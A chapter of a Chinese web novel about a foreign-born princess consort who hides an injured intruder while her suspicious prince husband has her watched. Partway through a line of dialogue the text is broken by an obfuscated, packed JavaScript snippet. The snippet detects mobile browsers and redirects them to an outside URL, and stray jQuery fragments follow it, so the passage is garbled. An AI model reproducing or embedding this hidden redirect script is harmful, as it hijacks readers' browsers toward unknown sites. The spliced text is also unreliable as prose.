洛惊雪被吓得尖叫出声,来人连忙跳进窗户捂住她的嘴,将她往里拖。洛惊雪不行地挣扎着,发出呜呜的声音,声音惊动了外面的知夏。她紧张地敲门,询问到:“王妃娘娘,怎么了?”男人把洛惊雪的嘴捂得更紧了,发不出一点声音来。她只觉自己的鼻子都要被勒断了。
知夏听没了声音,敲门声愈发急促起来,又问了一遍:“王妃娘娘,您还好吗?”见仍没有回应,知夏慌慌张张往前厅跑去。听脚步跑远了,男子轻声说道:“我没有恶意,你莫叫,我便放开你。”洛惊雪定了定心神,点了点头。随即她被松开了,大口大口喘着气。
她这时候才重新打量了他,他满身血污,衣服已经被扯成几根布条,左臂耷拉着,异于常人的长,就这样垂着,想必是今儿在打斗中断了胳膊。她心中涌起一丝愧疚,但仍无法理解他闯入府中。男子肿着眼皮说道:“我想拿回我今日的工钱。”洛惊雪苦笑,便为了那十几文钱,便要闯入王府。
她所住的位置背靠着一处野山坡,山体湿滑,还要穿过长满毛刺的藤竹,徒步极难登上。细细观察,他的确身上一道道细小的口子,正在往外渗血。
这男子跪下来,重重地磕头,沉重地说道:“主子,今日打坏瓶子的事情,待我了却事情后,定来认罪,做牛做马来赔。还请主子今天要把工钱结给我。”
洛惊雪皱着秀眉,打坏了主家的东西,没有赔偿已是仁慈,还半夜强闯来要工钱。外面能听到轻微的脚步声,看来是知夏找了人来。洛惊雪快速地扫视屋子,见没地方可躲,也不至于真想要了他性命,而且孤男寡女共处一室,终究坏了名声,要是被有心之人利用,又要惹一番风波。于是她快速抽出怀中的荷包,递给他道:“快跑,莫要被抓住!”那男子拿了银子,掂了掂,道:“多了。”洛惊雪简直要被气得昏厥,压低了声音,警告道:“快跑!”男子只得又顺着窗子,遁入黑暗中,临走钱说道:“我会找机会还你的。”
洛惊雪赶忙关上窗户,看着地上的污泥,来不及清理,用力地拖拽着箱子,试图给挡住。地上的丝丝血迹,没办法了,她抄起桌上的刀和梨子,便削了两下,顺势把手指也划伤了。电光火石间,门被吱呀一声推开。
只见来人目光清冷,浑身透着凛冽的寒气,倨傲地扫视着洛惊雪,眉间的金色花箔点缀着狭长上挑的眼睛,实在添了几分贵气和妩媚。孟毅走上前去,眼尾却不经意地四处查看,问道:“听闻刚刚夫人似乎出了事情,不知可有危险。”
洛惊雪摇摇头又委屈巴巴道:“王爷关怀,清漓受宠若惊,只是刚刚想着王爷公务繁忙,尚未回来,想给王爷做一碗百合清梨粥,和臣妾手笨,不小心把手给划伤了,所以惊呼一声,倒是惊动了王爷,真是臣妾的不是。”
孟毅打量着洛惊雪的手,的确还在滴血,他用折扇将她的手抬起,直勾勾地盯着惊雪的眼睛,声音带着一丝清冷道:“夫人真是有心呢,只是夫人也太不小心了,知夏去找我,前后有半盏茶的功夫,还没包扎,为夫看着真是心疼。看来是为夫考虑不周,伺候的人手不够,待会便让多拨一些人过来。”
惊雪手指微微抽动,心里暗暗骂道:狗东西,搬家的时候不见多派几个人来,现在装模作样。但还是露出惊喜的微笑,眼神亮亮地说道:“多谢夫君关怀,只是您瞧这翠竹轩,本就清雅朴质,若是多一些随从丫鬟,只怕是就打破了这份淡然,还望夫君莫要兴师动众。”洛惊雪当然明白,他这是要多派一些人看住她,毕竟她是一个邻国的人,底细尚不分明。洛惊雪接着说道:“夫君,这粥还未煮好,不如留下来,臣妾一会儿便能做好。”
“不必了。”孟毅收好折扇,“夫人还是早些休息吧,都劳累了一天,不必再折腾了。”说着便转身出去,临出门时,眼尾却落在了窗边的泥脚印上。稍顿一下,便出门了。
孟毅离去时,玉佩环撞的声音一声声敲击在洛惊雪的心里,她也望向了窗户口留下的脚印,只怕是又要被误会和南国细作的联系了。她无奈地叹息,本想拉进和他的关系,刺探一些有用的信息,等二人关系要好的时候,再挑拨两国间的关系,可现在越来越事与愿违……
待孟毅走出翠竹轩,他站定,目光透露出与平时的倨傲完全不同,如鹰隼盯着猎物一般,势在必得。他对身后的飞羽说:“去后山查查,刚刚是谁入了翠竹轩。”
飞羽领命,问道:“若是抓到当如何处置。”
“不必抓回来,盯住了,看看是何人,目的是什么。”说着孟毅又恢复了平日里轻云闲松般的神色。
霜儿胆战心惊地给惊雪包扎着伤口,询问着刚刚发生的事情。惊雪心中顿生一股子无名火,眉头紧锁,觉得刚刚倒不如不让他走,便让他被打死在王府中,省的自己被连累污名。一会子又想到给他的钱着实多了,刚刚只想着快些打发他走,现在想想,连累了自己,还给他这么多银子,越想越生气,不禁将拳头握紧,一下握住了伤口,不禁倒吸一口凉气。
霜儿赶紧将她吹吹伤口,说道:“王妃,你轻一些,何苦为这样的人动怒,倒是这个地方实在不安全。这些日子我便歇在屋子外面,若是有危险,我一定第一时间冲进来。”惊雪看着她认真又自责的样子,有点动容,理了理她的秀发,道:“好霜儿,你要是在旁边,我倒是安心多了。不如你便同我住吧。”
霜儿上次和惊雪一张床睡觉,已忐忑万分,如今更是说什么也不愿意了,只道:“不可的娘娘,主仆有别,若是被王府的下人们知道了,定是又要嚼舌根了。”洛惊雪也不跟她争辩,又忍不住和霜儿说,若是下次再遇到这个苦工,定是要将他狠狠地打一顿。然后霜儿等惊雪平复了睡着,方肯离去。
第二日一早,飞羽执行完主子的任务就钻进了书房汇报,孟毅来回翻转着折扇,优雅似一朵绽放在寒冬之花。听完后问道:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319125|199024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她是昨日才认识这个刺客?”飞羽点点头,解释道:“属下已经查了,这个人应该不是刺客,一直生活在咱们孟国,昨日是临时被找来帮忙搬运的,还打坏了王爷的琉璃瓶……”
孟毅又露出了伺机抓捕猎物时的神情,很快又恢复常态,悠悠说道:“不要掉以轻心,细作的身份往往比普通人看着更真,安排他们再次见面,看看王妃是何反应。”
飞羽得令,正待要出去,孟毅又把他叫住,似想起了什么,问道:“你说她没有带人去皇宫搬运,那她是如何把东西从宫里运出来的?”飞羽一顿,在调查刺客的时候,自是要将来龙去脉都了解清楚,但他刻意隐去了宫中的一段,怕惹得主子不快,没想到主子就是算无遗策,于是他轻声说道:“是春来公公将娘娘送出来的,连雇佣刺客的银钱也是春来公公给的。”
孟毅眼神沉了下去,似凝了一层寒霜,说道:“府里的掌事宫女是谁?”飞羽答道:“是清欢姑娘,皇后娘娘指派来的。”孟毅沉沉说道:“办的好差事。”“王爷可是要换掉她?”飞羽又强调一遍她是皇后娘娘的人,然后悄悄问,要不要让清欢出点意外?“不必了,正好给王妃找点事情做,省的她将心思用错地方。”飞羽觉得主子的心眼子,比后宫里的妃子比来也是不差的,若是后宫女子,怕也是能独秀一枝的。
飞羽一出去,便见王妃身着一身束腰淡紫裙,裙摆绣着繁复的花,衬得整个人似一株淡雅的香兰。她见到飞羽,淡然一笑,飞羽立场都有些动摇了,觉得这样美丽的女子不至于是坏人,跟主子倒是蛮般配的。飞羽不好意思地行礼:“王妃娘娘。”
惊雪淡若幽兰地问道:“飞羽,请问王爷是否起身了?”飞羽点点头,说道:“要不我替王妃娘娘通传一声,王爷刚刚在处理公务,不知现在是否得闲。”惊雪淡淡点头,一颦一笑实在美丽,让人不忍拒绝,飞羽觉得就算是主子看见,也会将戒心稍放下一二。
“不必了,进来。”飞羽得令,赶紧将门推开,迎着王妃进去,满脸堆着笑,孟毅见飞羽谄媚的样子,将千年寒铁似的目光射过去,飞羽立刻恢复了理智,将门带上,非也似的逃了。
惊雪提着食盒,迈着碎步轻巧地走到孟毅身边,柔声道:“王爷昨日这么晚回来,今晨又这样早起身,定是劳累,臣妾昨日手笨,没有将梨粥煮好。忙活了一早,才将它煮好。梨粥解乏,请王爷尝一尝。”说着惊雪细软嫩滑的手,便轻轻将食盒打开,小心翼翼地将粥拿出来。
那食盒一打开,梨粥的清香便溢了出来,连孟毅也忍不住望了望,瞧见她包着纱布的手,却见她笑意软软,漾在眼底,荡着细软的腰肢向他走来。孟毅微微皱眉,手按着折扇,下意识地往后退。就在惊雪准备给他喂食的时候,就见门吱呀一声被推开,一个身材魁梧的汉子便大步迈了进来。此人是孟毅的另一个随从星驰,他边走边声若擂鼓地说道:“王爷,王姑娘已经安顿好了。”